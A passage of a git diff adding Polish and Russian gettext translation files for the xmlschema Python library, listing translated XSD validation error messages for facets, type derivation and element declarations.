xmlschema/validators/simple_types.py:170 +msgid "cannot specify both 'length' and 'minLength'" +msgstr "nie można określić zarówno 'length', jak i 'minLength'" + +#: xmlschema/validators/simple_types.py:175 +msgid "'maxLength' value must be greater or equal to 'length'" +msgstr "wartość 'maxLength' musi być większa lub równa wartości 'length'" + +#: xmlschema/validators/simple_types.py:183 +msgid "cannot specify both 'length' and 'maxLength'" +msgstr "nie można określić zarówno 'length', jak i 'maxLength'" + +#: xmlschema/validators/simple_types.py:192 +msgid "'minLength' value must be a non negative integer" +msgstr "wartość 'minLength' musi być nieujemną liczbą całkowitą" + +#: xmlschema/validators/simple_types.py:195 +msgid "'maxLength' value is less than 'minLength'" +msgstr "wartość 'maxLength' jest mniejsza niż 'minLength'" + +#: xmlschema/validators/simple_types.py:198 +msgid "'minLength' has a lesser value than parent" +msgstr "'minLength' ma mniejszą wartość niż rodzic" + +#: xmlschema/validators/simple_types.py:201 +msgid "'minLength' has a greater value than parent 'maxLength'" +msgstr "'minLength' ma większą wartość niż nadrzędna 'maxLength'" + +#: xmlschema/validators/simple_types.py:206 +msgid "'maxLength' value must be a non negative integer" +msgstr "wartość 'maxLength' musi być nieujemną liczbą całkowitą" + +#: xmlschema/validators/simple_types.py:209 +msgid "'maxLength' has a lesser value than parent 'minLength'" +msgstr "'maxLength' ma mniejszą wartość niż nadrzędna 'minLength'" + +#: xmlschema/validators/simple_types.py:212 +msgid "'maxLength' has a greater value than parent" +msgstr "'maxLength' ma większą wartość niż rodzic" + +#: xmlschema/validators/simple_types.py:223 +msgid "cannot specify both 'minInclusive' and 'minExclusive'" +msgstr "nie można określić zarówno 'minInclusive', jak i 'minExclusive'" + +#: xmlschema/validators/simple_types.py:226 +msgid "'minInclusive' must be less or equal to 'maxInclusive'" +msgstr "'minInclusive' musi być mniejsze lub równe 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:229 +msgid "'minInclusive' must be lesser than 'maxExclusive'" +msgstr "'minInclusive' musi być mniejsze niż 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:234 +msgid "'minExclusive' must be lesser than 'maxInclusive'" +msgstr "'minInclusive' musi być mniejsze niż 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:237 +msgid "'minExclusive' must be less or equal to 'maxExclusive'" +msgstr "'minExclusive' musi być mniejsze lub równe 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:241 +msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" +msgstr "nie można określić zarówno 'maxInclusive', jak i 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:247 +msgid "fractionDigits facet value cannot be lesser than the value of totalDigits facet" +msgstr "wartość aspektu fractionDigits nie może być mniejsza niż wartość aspektu totalDigits" + +#: xmlschema/validators/simple_types.py:253 +msgid "totalDigits facet value cannot be greater than the value of the same facet in the base type" +msgstr "wartość aspektu totalDigits nie może być większa niż wartość tego samego aspektu w typie bazowym" + +#: xmlschema/validators/simple_types.py:262 +#, python-format +msgid "the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r" +msgstr "wartość aspektu explicitTimezone nie może zostać zmieniona, jeśli typ bazowy ma ten sam aspekt z wartością %r" + +#: xmlschema/validators/simple_types.py:460 +msgid "a {0!r} or {1!r} object required" +msgstr "wymagany obiekt {0!r} lub {1!r}" + +#: xmlschema/validators/simple_types.py:615 +msgid "value is not an instance of {!r}" +msgstr "wartość nie jest instancją {!r}" + +#: xmlschema/validators/simple_types.py:640 +#: xmlschema/validators/simple_types.py:753 +#: xmlschema/validators/simple_types.py:1107 +msgid "invalid value {!r}" +msgstr "nieprawidłowa wartość {!r}" + +#: xmlschema/validators/simple_types.py:665 +#, python-format +msgid "unmapped prefix %r in a QName" +msgstr "niezamapowany prefiks %r w nazwie QName" + +#: xmlschema/validators/simple_types.py:699 +#: xmlschema/validators/simple_types.py:711 +msgid "duplicated xs:ID value {!r}" +msgstr "zduplikowana wartość xs:ID {!r}" + +#: xmlschema/validators/simple_types.py:706 +msgid "no more than one attribute of type ID should be present in an element" +msgstr "w elemencie nie powinien znajdować się więcej niż jeden atrybut typu ID" + +#: xmlschema/validators/simple_types.py:731 +msgid "boolean value {0!r} requires a {1!r} decoder" +msgstr "wartość logiczna {0!r} wymaga dekodera {1!r}" + +#: xmlschema/validators/simple_types.py:736 +msgid "{0!r} is not an instance of {1!r}" +msgstr "{0!r} nie jest instancją {1!r}" + +#: xmlschema/validators/simple_types.py:824 +#, python-format +msgid "%r: a list must be based on atomic data types" +msgstr "%r: lista musi być oparta na atomowych typach danych" + +#: xmlschema/validators/simple_types.py:843 +msgid "ambiguous list type declaration" +msgstr "niejednoznaczna deklaracja typu listy" + +#: xmlschema/validators/simple_types.py:851 +msgid "missing list type declaration" +msgstr "brakująca deklaracja typu listy" + +#: xmlschema/validators/simple_types.py:864 +msgid "circular definition found for type {!r}" +msgstr "znaleziono definicję cykliczną dla typu {!r}" + +#: xmlschema/validators/simple_types.py:869 +#, python-format +msgid "'final' value of the itemType %r forbids derivation by list" +msgstr "wartość 'final' itemType %r zabrania wyprowadzania przez listę" + +#: xmlschema/validators/simple_types.py:873 +#: xmlschema/validators/simple_types.py:1048 +#: xmlschema/validators/simple_types.py:1335 +msgid "cannot use xs:anyAtomicType as base type of a user-defined type" +msgstr "nie może używać xs:anyAtomicType jako typu bazowego zdefiniowanego przez użytkownika" + +#: xmlschema/validators/simple_types.py:996 +#, python-format +msgid "wrong value %r for attribute 'white_space'" +msgstr "nieprawidłowa wartość %r dla atrybutu 'white_space'" + +#: xmlschema/validators/simple_types.py:1031 +msgid "circular definition found on xs:union type {!r}" +msgstr "cykliczna definicja typu xs:union {!r}" + +#: xmlschema/validators/simple_types.py:1035 +msgid "a {0!r} required, not {1!r}" +msgstr "wymagane {0!r}, a nie {1!r}" + +#: xmlschema/validators/simple_types.py:1039 +#, python-format +msgid "'final' value of the memberTypes %r forbids derivation by union" +msgstr "wartość 'final' elementu MemberTypes %r zabrania wyprowadzania przez sumę" + +#: xmlschema/validators/simple_types.py:1045 +msgid "missing xs:union type declarations" +msgstr "brak deklaracji typu xs:unia" + +#: xmlschema/validators/simple_types.py:1128 +#, python-format +msgid "no type suitable for decoding the values %r" +msgstr "brak typu odpowiedniego do dekodowania wartości %r" + +#: xmlschema/validators/simple_types.py:1162 +msgid "no type suitable for encoding the object" +msgstr "brak typu odpowiedniego do zakodowania obiektu" + +#: xmlschema/validators/simple_types.py:1210 +msgid "'name' attribute in a local simpleType definition" +msgstr "atrybut 'name' w lokalnej definicji typu simpleType" + +#: xmlschema/validators/simple_types.py:1252 +#, python-format +msgid "wrong base type %r, an atomic type required" +msgstr "nieprawidłowy typ bazowy %r, wymagany typ atomowy" + +#: xmlschema/validators/simple_types.py:1258 +msgid "an xs:simpleType definition expected" +msgstr "oczekiwana definicja xs:simpleType" + +#: xmlschema/validators/simple_types.py:1263 +msgid "when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required" +msgstr "kiedy complexType z simpleContent ogranicza complexType z mieszaną i opróżnialną zawartością, wymagana jest deklaracja potomna simpleType" + +#: xmlschema/validators/simple_types.py:1268 +#, python-format +msgid "simpleType restriction of %r is not allowed" +msgstr "ograniczenie simpleType %r jest niedozwolone" + +#: xmlschema/validators/simple_types.py:1277 +msgid "unexpected tag after attribute declarations" +msgstr "nieoczekiwany znacznik po deklaracji atrybutu" + +#: xmlschema/validators/simple_types.py:1282 +msgid "duplicated simpleType declaration" +msgstr "zduplikowana deklaracja simpleType" + +#: xmlschema/validators/simple_types.py:1304 +msgid "restriction with 'base' attribute and simpleType declaration" +msgstr "ograniczenie z atrybutem 'base' i deklaracją simpleType" + +#: xmlschema/validators/simple_types.py:1312 +#, python-format +msgid "unexpected tag %r in restriction" +msgstr "nieoczekiwany znacznik %r w ograniczeniu" + +#: xmlschema/validators/simple_types.py:1318 +#, python-format +msgid "multiple %r constraint facet" +msgstr "wielokrotny aspekt ograniczenia %r" + +#: xmlschema/validators/simple_types.py:1330 +msgid "missing base type in restriction" +msgstr "brakujący typ bazowy w ograniczeniu" + +#: xmlschema/validators/simple_types.py:1332 +#, python-format +msgid "'final' value of the baseType %r forbids derivation by restriction" +msgstr "wartość 'final' baseType %r zabrania wyprowadzania przez ograniczenie" + +#: xmlschema/validators/simple_types.py:1381 +#: xmlschema/validators/simple_types.py:1430 +#, python-format +msgid "wrong base type %r: a simpleType or a complexType with simple or mixed content required" +msgstr "nieprawidłowy typ bazowy %r: wymagany simpleType lub complexType z prostą lub mieszaną zawartością" + +#: xmlschema/validators/identities.py:86 +msgid "'xpath' attribute required" +msgstr "wymagany atrybut 'xpath'" + +#: xmlschema/validators/identities.py:98 +msgid "invalid XPath expression for an {}" +msgstr "nieprawidłowe wyrażenie XPath dla {}" + +#: xmlschema/validators/identities.py:182 +msgid "missing required attribute 'name'" +msgstr "brak wymaganego atrybutu 'name'" + +#: xmlschema/validators/identities.py:190 +msgid "missing 'selector' declaration" +msgstr "brakująca deklaracja 'selector'" + +#: xmlschema/validators/identities.py:202 +msgid "unknown identity constraint {!r}" +msgstr "nieznane ograniczenie tożsamości {!r}" + +#: xmlschema/validators/identities.py:207 +msgid "attribute 'ref' points to a different kind constraint" +msgstr "atrybut 'ref' wskazuje na ograniczenie innego rodzaju" + +#: xmlschema/validators/identities.py:296 +msgid "missing key field {0!r} for {1!r}" +msgstr "brakujące pole klucza {0!r} dla {1!r}" + +#: xmlschema/validators/identities.py:304 +#, python-format +msgid "%r field doesn't have a simple type!" +msgstr "pole %r nie ma typu prostego!" + +#: xmlschema/validators/identities.py:325 +#, python-format +msgid "%r field selects multiple values!" +msgstr "pole %r wybiera wiele wartości!" + +#: xmlschema/validators/identities.py:359 +msgid "missing required attribute 'refer'" +msgstr "brak wymaganego atrybutu 'refer'" + +#: xmlschema/validators/identities.py:381 +#, python-format +msgid "key/unique identity constraint %r is missing" +msgstr "brakuje ograniczenia klucza/unikalnej tożsamości %r" + +#: xmlschema/validators/identities.py:386 +#, python-format +msgid "reference to a non key/unique identity constraint %r" +msgstr "odniesienie do niekluczowego/unikalnego ograniczenia tożsamości %r" + +#: xmlschema/validators/identities.py:389 +msgid "field cardinality mismatch between {0!r} and {1!r}" +msgstr "niezgodność kardynalności pól {0!r} i {1!r}" + +#: xmlschema/validators/identities.py:459 +msgid "duplicated value {0!r} for {1!r}" +msgstr "zduplikowana wartość {0!r} dla {1!r}" + +#: xmlschema/validators/xsdbase.py:51 +#, python-format +msgid "validation mode can be 'strict', 'lax' or 'skip': %r" +msgstr "tryb walidacji może być 'strict', 'lax' lub 'skip': %r" + +#: xmlschema/validators/xsdbase.py:254 +msgid "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1})." +msgstr "błędna wartość {0!r} dla atrybutu 'xpathDefaultNamespace', może być (anyURI | {1})." + +#: xmlschema/validators/xsdbase.py:405 +#, python-format +msgid "missing attribute 'name' in a global %r" +msgstr "brakujący atrybut 'name' w globalnym %r" + +#: xmlschema/validators/xsdbase.py:408 +#, python-format +msgid "missing both attributes 'name' and 'ref' in local %r" +msgstr "brak obu atrybutów 'name' i 'ref' w lokalnym %r" + +#: xmlschema/validators/xsdbase.py:411 +msgid "attributes 'name' and 'ref' are mutually exclusive" +msgstr "atrybuty 'name' i 'ref' wzajemnie się wykluczają" + +#: xmlschema/validators/xsdbase.py:414 +#, python-format +msgid "attribute 'ref' not allowed in a global %r" +msgstr "atrybut 'ref' niedozwolony w globalnym %r" + +#: xmlschema/validators/xsdbase.py:423 +msgid "a reference component cannot have child definitions/declarations" +msgstr "komponent referencyjny nie może mieć podrzędnych definicji/deklaracji" + +#: xmlschema/validators/xsdbase.py:438 +msgid "too many XSD components, unexpected {0!r} found at position {1}" +msgstr "zbyt wiele komponentów XSD, nieoczekiwane {0!r} znalezione na pozycji {1}" + +#: xmlschema/validators/xsdbase.py:454 +msgid "attribute 'name' must be present when 'targetNamespace' attribute is provided" +msgstr "atrybut 'name' musi być obecny, gdy podany jest atrybut 'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:458 +msgid "attribute 'form' must be absent when 'targetNamespace' attribute is provided" +msgstr "atrybut 'form' musi być nieobecny, gdy podany jest atrybut 'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:463 +#, python-format +msgid "a global %s must have the same namespace as its parent schema" +msgstr "globalny %s musi mieć tę samą przestrzeń nazw co jego schemat nadrzędny" + +#: xmlschema/validators/xsdbase.py:471 +msgid "a declaration contained in a global complexType must have the same namespace as its parent schema" +msgstr "deklaracja zawarta w globalnym complexType musi mieć taką samą przestrzeń nazw jak jej schemat nadrzędny" + +#: xmlschema/validators/xsdbase.py:591 +msgid "parent circularity from {}" +msgstr "cykliczność macierzysta od {}" + +#: xmlschema/validators/helpers.py:44 +#, python-format +msgid "wrong value %r for attribute %r" +msgstr "nieprawidłowa wartość %r dla atrybutu %r" + +#: xmlschema/validators/helpers.py:59 +msgid "value is not a valid xs:decimal" +msgstr "wartość nie jest prawidłowa xs:decimal" + +#: xmlschema/validators/helpers.py:65 +msgid "value is not an xs:QName" +msgstr "wartość nie jest xs:QName" + +#: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 +#: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 +#: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 +#: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 +msgid "value must be {:s}" +msgstr "wartość musi być {:s}" + +#: xmlschema/validators/helpers.py:119 +msgid "value must be negative" +msgstr "wartość musi być ujemna" + +#: xmlschema/validators/helpers.py:125 +msgid "value must be positive" +msgstr "wartość musi być dodatnia" + +#: xmlschema/validators/helpers.py:131 +msgid "value must be non positive" +msgstr "wartość nie może być dodatnia" + +#: xmlschema/validators/helpers.py:137 +msgid "value must be non negative" +msgstr "wartość nie może być ujemna" + +#: xmlschema/validators/helpers.py:144 +msgid "not an hexadecimal number" +msgstr "nie jest liczbą szesnastkową" + +#: xmlschema/validators/helpers.py:157 +msgid "not a base64 encoding" +msgstr "nie jest kodowaniem base64" + +#: xmlschema/validators/helpers.py:162 +msgid "no value is allowed for xs:error type" +msgstr "żadna wartość nie jest dozwolona dla typu xs:error" + +#: xmlschema/validators/helpers.py:174 +msgid "{!r} is not a boolean value" +msgstr "{!r} nie jest wartością logiczną" diff --git a/xmlschema/locale/ru/LC_MESSAGES/xmlschema.mo b/xmlschema/locale/ru/LC_MESSAGES/xmlschema.mo new file mode 100644 index 0000000..9b0c2c4 Binary files /dev/null and b/xmlschema/locale/ru/LC_MESSAGES/xmlschema.mo differ diff --git a/xmlschema/locale/ru/LC_MESSAGES/xmlschema.po b/xmlschema/locale/ru/LC_MESSAGES/xmlschema.po new file mode 100644 index 0000000..312cf7f --- /dev/null +++ b/xmlschema/locale/ru/LC_MESSAGES/xmlschema.po @@ -0,0 +1,1791 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. +# +msgid "" +msgstr "" +"Project-Id-Version: \n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2022-05-12 17:25+0200\n" +"PO-Revision-Date: 2022-06-11 10:17+0300\n" +"Last-Translator: Sergey Zelenov <serwizz@gmail.com>\n" +"Language-Team: \n" +"Language: ru\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " +"n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" +"X-Generator: Poedit 3.0.1\n" +"X-Poedit-Bookmarks: -1,133,-1,-1,-1,-1,-1,-1,-1,-1\n" + +#: xmlschema/validators/complex_types.py:134 +msgid "missing attribute 'name' in a global complexType" +msgstr "в complexType отсутствует атрибут 'name'" + +#: xmlschema/validators/complex_types.py:139 +msgid "attribute 'name' not allowed in a local complexType" +msgstr "атрибут 'name' не разрешен в локальном complexType" + +#: xmlschema/validators/complex_types.py:162 +msgid "'mixed' attribute not allowed with simpleContent" +msgstr "атрибут 'mixed' не разрешен в simpleContent" + +#: xmlschema/validators/complex_types.py:177 +#, python-format +msgid "unexpected tag %r after simpleContent declaration:" +msgstr "неожиданный тег %r после объявления simpleContent:" + +#: xmlschema/validators/complex_types.py:188 +msgid "" +"value of 'mixed' attribute in complexType and complexContent must be the same" +msgstr "" +"значение атрибута 'mixed' в complexType и complexContent должны быть " +"одинаковыми" + +#: xmlschema/validators/complex_types.py:208 +#, python-format +msgid "unexpected tag %r after complexContent declaration" +msgstr "неожиданный тег %r после объявления complexContent" + +#: xmlschema/validators/complex_types.py:232 +#, python-format +msgid "unexpected tag %r for complexType content" +msgstr "неожиданный тег %r в контенте complexContent" + +#: xmlschema/validators/complex_types.py:240 +#: xmlschema/validators/simple_types.py:1227 +msgid "wrong definition with self-reference" +msgstr "неправильное определение с ссылкой на себя" + +#: xmlschema/validators/complex_types.py:243 +#: xmlschema/validators/simple_types.py:1234 +msgid "wrong redefinition without self-reference" +msgstr "неправильное переопределение без ссылки на себя" + +#: xmlschema/validators/complex_types.py:254 +msgid "restriction or extension tag expected" +msgstr "ожидается тег 'restriction' или 'extension'" + +#: xmlschema/validators/complex_types.py:261 +msgid "{!r} is expected to have a redefined/overridden component" +msgstr "ожидается, что {!r} будет иметь переопределенный компонент" + +#: xmlschema/validators/complex_types.py:266 +msgid "{0!r} derivation not allowed for {1!r}" +msgstr "{0!r} не разрешено для {1!r}" + +#: xmlschema/validators/complex_types.py:276 +msgid "'base' attribute required" +msgstr "атрибут 'base' обязателен" + +#: xmlschema/validators/complex_types.py:285 +#, python-format +msgid "missing base type %r" +msgstr "отсутствует базовый тип %r" + +#: xmlschema/validators/complex_types.py:293 +#: xmlschema/validators/simple_types.py:1247 +msgid "circular definition found between {0!r} and {1!r}" +msgstr "обнаружено циклическое объявление между {0!r} и {1!r}" + +#: xmlschema/validators/complex_types.py:297 +#: xmlschema/validators/complex_types.py:311 +msgid "a complexType ancestor required: {!r}" +msgstr "требуется предок complexType: {!r}" + +#: xmlschema/validators/complex_types.py:302 +#, python-format +msgid "derivation by %r blocked by attribute 'final' in base type" +msgstr "получение %r заблокировано тегом 'final' в базовом типе" + +#: xmlschema/validators/complex_types.py:319 +msgid "a not empty simpleContent cannot restrict an empty content type" +msgstr "не пустой simpleContent не может ограничивать пустой тип контента" + +#: xmlschema/validators/complex_types.py:326 +msgid "content type is not a restriction of base content" +msgstr "тип контента не является ограничением базового контента" + +#: xmlschema/validators/complex_types.py:332 +msgid "with simpleContent cannot restrict an element-only content type" +msgstr "simpleContent не может ограничивать тип контента только для элементов" + +#: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 +#, python-format +msgid "unexpected tag %r" +msgstr "неожиданный тег %r" + +#: xmlschema/validators/complex_types.py:354 +#, python-format +msgid "base type %r has no simple content" +msgstr "базовый тип %r не содержит простой контент" + +#: xmlschema/validators/complex_types.py:362 +msgid "the base type is not derivable by restriction" +msgstr "базовый тип нельзя получить из-за ограничений" + +#: xmlschema/validators/complex_types.py:365 +#: xmlschema/validators/complex_types.py:458 +#: xmlschema/validators/complex_types.py:896 +#, python-format +msgid "base %r is simple or has a simple content" +msgstr "базовый %r простой или содержит простой контент" + +#: xmlschema/validators/complex_types.py:377 +#, python-brace-format +msgid "" +"restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" +msgstr "ограничение xs:{0} более чем одной частью xs:{1} запрещено" + +#: xmlschema/validators/complex_types.py:389 +msgid "derived a mixed content from a base type that has element-only content" +msgstr "" +"получение смешанного контента от базового типа, в котором только элементы" + +#: xmlschema/validators/complex_types.py:392 +msgid "an empty content derivation from base type that has not empty content" +msgstr "" +"получение пустого содержимого из базового типа, который не имеет пустого " +"содержимого" + +#: xmlschema/validators/complex_types.py:403 +msgid "{0!r} is not a restriction of the base type {1!r}" +msgstr "{0!r} не является ограничением базового типа {1!r}" + +#: xmlschema/validators/complex_types.py:412 +#: xmlschema/validators/complex_types.py:901 +msgid "the base type is not derivable by extension" +msgstr "базовый тип не может быть получен путем расширения" + +#: xmlschema/validators/complex_types.py:445 +#: xmlschema/validators/complex_types.py:952 +#: xmlschema/validators/complex_types.py:1002 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty." +msgstr "" +"база имеет другой тип содержимого (mixed=%r) и группа расширений не пуста." + +#: xmlschema/validators/complex_types.py:465 +msgid "cannot extend a complex content with xs:all" +msgstr "невозможно расширить комплексный контент с xs:all" + +#: xmlschema/validators/complex_types.py:468 +msgid "xs:sequence cannot extend xs:all" +msgstr "xs:sequence не может расширять xs:all" + +#: xmlschema/validators/complex_types.py:478 +msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" +msgstr "XSD 1.0 не позволяет расширения не пустой 'all' группы" + +#: xmlschema/validators/complex_types.py:481 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty" +msgstr "" +"база имеет другой тип содержимого (mixed=%r) и группа расширений не пуста" + +#: xmlschema/validators/complex_types.py:495 +#: xmlschema/validators/complex_types.py:1017 +msgid "extended type has a mixed content but the base is element-only" +msgstr "" +"расширенный тип имеет смешанное содержимое, но база состоит только из " +"элементов" + +#: xmlschema/validators/complex_types.py:655 +msgid "global type {!r} is not built" +msgstr "глобальный тип {!r} не создается" + +#: xmlschema/validators/complex_types.py:721 +#: xmlschema/validators/complex_types.py:746 +#, python-format +msgid "cannot decode %(obj)r data with %(decoder)r" +msgstr "невозможно расшифровать %(obj)r данные с %(decoder)r" + +#: xmlschema/validators/complex_types.py:847 +msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" +msgstr "простой контент {!r} является не валидным простым типом в XSD 1.1" + +#: xmlschema/validators/complex_types.py:854 +msgid "openContent mismatch between type and model group" +msgstr "несоответствие openContent между типом и группой модели" + +#: xmlschema/validators/complex_types.py:869 +#, python-format +msgid "attribute %r must be inheritable" +msgstr "атрибут %r должен быть унаследован" + +#: xmlschema/validators/complex_types.py:885 +msgid "default attribute {!r} is already declared in the complex type" +msgstr "атрибут по умолчанию {!r} уже определён в сложном типе" + +#: xmlschema/validators/complex_types.py:956 +msgid "cannot extend an empty mixed content with an xs:all" +msgstr "невозможно расширить пустой смешанный контент с xs:all" + +#: xmlschema/validators/complex_types.py:974 +#, python-format +msgid "xs:all cannot extend a not empty xs:%s" +msgstr "xs:all невозможно расширить не пустым xs:%s" + +#: xmlschema/validators/complex_types.py:989 +msgid "cannot extend a not empty 'all' model group with a different model" +msgstr "невозможно расширить не пустую группу 'all' отличающейся моделью" + +#: xmlschema/validators/complex_types.py:992 +msgid "when extend an xs:all group minOccurs must be the same" +msgstr "при расширении группы xs:all minOccurs должно совпадать" + +#: xmlschema/validators/complex_types.py:995 +msgid "cannot extend an xs:all group with mixed empty content" +msgstr "невозможно расширить группу xs:all с пустым смешанным контентом" + +#: xmlschema/validators/complex_types.py:1035 +msgid "{0!r} is not an extension of the base type {1!r}" +msgstr "{0!r} не является расширением базового типа {1!r}" + +#: xmlschema/validators/notations.py:39 +msgid "a notation declaration must be global" +msgstr "определение notation должно быть глобальным" + +#: xmlschema/validators/notations.py:43 +msgid "a notation must have a 'name' attribute" +msgstr "notation должно иметь атрибут 'name'" + +#: xmlschema/validators/notations.py:46 +msgid "a notation must have a 'public' or a 'system' attribute" +msgstr "notation должно иметь атрибут 'public' или 'system'" + +#: xmlschema/validators/particles.py:122 +msgid "minOccurs value is not an integer value" +msgstr "minOccurs значение не должно быть отрицательным" + +#: xmlschema/validators/particles.py:126 +msgid "minOccurs value must be a non negative integer" +msgstr "minOccurs значение не должно быть отрицательным" + +#: xmlschema/validators/particles.py:134 +msgid "minOccurs must be lesser or equal than maxOccurs" +msgstr "minOccurs должно быть меньше или равно maxOccurs" + +#: xmlschema/validators/particles.py:142 +msgid "maxOccurs value must be a non negative integer or 'unbounded'" +msgstr "minOccurs значение должно быть положительным или 'unbounded'" + +#: xmlschema/validators/particles.py:146 +msgid "maxOccurs must be 'unbounded' or greater than minOccurs" +msgstr "maxOccurs должно быть 'unbounded' или больше чем minOccurs" + +#: xmlschema/validators/assertions.py:76 +msgid "base_type={!r} is not a complexType definition" +msgstr "base_type={!r} не определение complexType" + +#: xmlschema/validators/elements.py:162 +#, python-format +msgid "unknown element %r" +msgstr "неизвестный элемент %r" + +#: xmlschema/validators/elements.py:179 +msgid "attribute {!r} is not allowed when element reference is used" +msgstr "атрибут {!r} недоступен когда используется ссылка на элемент" + +#: xmlschema/validators/elements.py:200 +msgid "local scope elements cannot have abstract attribute" +msgstr "локальные элементы не могут иметь абстрактные атрибуты" + +#: xmlschema/validators/elements.py:227 +msgid "attribute {!r} is not allowed in a global element declaration" +msgstr "атрибут {!r} недоступен в определении глобального элемента" + +#: xmlschema/validators/elements.py:232 +msgid "attribute {!r} not allowed in a local element declaration" +msgstr "атрибут {!r} недоступен в определении локального элемента" + +#: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 +#: xmlschema/validators/simple_types.py:859 +#: xmlschema/validators/simple_types.py:1024 +#: xmlschema/validators/simple_types.py:1240 +msgid "unknown type {!r}" +msgstr "неизвестный тип {!r}" + +#: xmlschema/validators/elements.py:255 +msgid "" +"the attribute 'type' and a xs:{} local declaration are mutually exclusive" +msgstr "" +"атрибут 'type' и локальное объявление xs:{} являются взаимоисключающими" + +#: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 +msgid "'default' and 'fixed' attributes are mutually exclusive" +msgstr "атрибуты 'default' и 'fixed' являются взаимоисключающими" + +#: xmlschema/validators/elements.py:278 +msgid "'default' value {!r} is not compatible with element's type" +msgstr "значение 'default' {!r} не совместимо с типом элемента" + +#: xmlschema/validators/elements.py:282 +msgid "xs:ID or a type derived from xs:ID cannot have a default value" +msgstr "" +"xs:ID или тип производный от xs:ID не может иметь значения по умолчанию" + +#: xmlschema/validators/elements.py:288 +msgid "'fixed' value {!r} is not compatible with element's type" +msgstr "значение 'fixed' {!r} не совместимо с типом элемента" + +#: xmlschema/validators/elements.py:292 +msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" +msgstr "xs:ID или тип производный от xs:ID не может иметь 'fixed' значения" + +#: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 +#, python-format +msgid "duplicated identity constraint %r:" +msgstr "дублированное ограничение идентификации %r:" + +#: xmlschema/validators/elements.py:341 +#, python-format +msgid "unknown substitutionGroup %r" +msgstr "неизвестный substitutionGroup %r" + +#: xmlschema/validators/elements.py:346 +#, python-format +msgid "circularity found for substitutionGroup %r" +msgstr "обнаружена зацикленность substitutionGroup %r" + +#: xmlschema/validators/elements.py:361 +msgid "" +"{0!r} type is not of the same or a derivation of the head element {1!r} type" +msgstr "тип {0!r} не совпадает или наследует головной элемент типа {1!r}" + +#: xmlschema/validators/elements.py:365 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a derivation of " +"its type" +msgstr "" +"головной элемент %r не может быть заменен элементом, производным от его типа" + +#: xmlschema/validators/elements.py:369 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has an extension of " +"its type" +msgstr "" +"головной элемент %r не может быть заменен элементом, расширяющим его тип" + +#: xmlschema/validators/elements.py:373 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a restriction of " +"its type" +msgstr "" +"головной элемент %r не может быть заменен элементом, который имеет " +"ограничения от его типа" + +#: xmlschema/validators/elements.py:547 +msgid "schemaLocation declaration after namespace start" +msgstr "определение schemaLocation после начала пространства имён" + +#: xmlschema/validators/elements.py:556 +#, python-format +msgid "missing dynamic loaded schema from %s" +msgstr "отсутствует динамическая загруженная схема из %s" + +#: xmlschema/validators/elements.py:559 +msgid "dynamic loaded schema change the assessment" +msgstr "динамическая загруженная схема изменяет оценку" + +#: xmlschema/validators/elements.py:610 +msgid "cannot use an abstract element for validation" +msgstr "нельзя использовать абстрактный элемент для проверки" + +#: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 +msgid "selector xpath expression can only select elements" +msgstr "выражение selector xpath может выбирать только элементы" + +#: xmlschema/validators/elements.py:673 +#, python-format +msgid "usage of %r is blocked" +msgstr "использование %r заблокировано" + +#: xmlschema/validators/elements.py:677 +#, python-format +msgid "%r is abstract" +msgstr "%r является абстрактным" + +#: xmlschema/validators/elements.py:705 +msgid "element is not nillable" +msgstr "элемент не nillable" + +#: xmlschema/validators/elements.py:708 +msgid "xsi:nil attribute must have a boolean value" +msgstr "атрибут xsi:nil должен быть булевым" + +#: xmlschema/validators/elements.py:713 +msgid "xsi:nil='true' but the element has a fixed value" +msgstr "xsi:nil='true', но у элемента есть значение" + +#: xmlschema/validators/elements.py:716 +msgid "xsi:nil='true' but the element is not empty" +msgstr "xsi:nil='true', но элемент не пустой" + +#: xmlschema/validators/elements.py:722 +msgid "character data is not allowed because content is empty" +msgstr "символьные данные не разрешены, потому что содержимое пусто" + +#: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 +#, python-format +msgid "must have the fixed value %r" +msgstr "должно содержать фиксированное значение %r" + +#: xmlschema/validators/elements.py:749 +msgid "a simple content element can't have child elements" +msgstr "элемент с простым контентом не должен иметь дочерние элементы" + +#: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 +msgid "" +"cannot validate against xs:NOTATION directly, only against a subtype with an " +"enumeration facet" +msgstr "" +"невозможно проверить xs:NOTATION напрямую, только через подтип с " +"перечислением" + +#: xmlschema/validators/elements.py:782 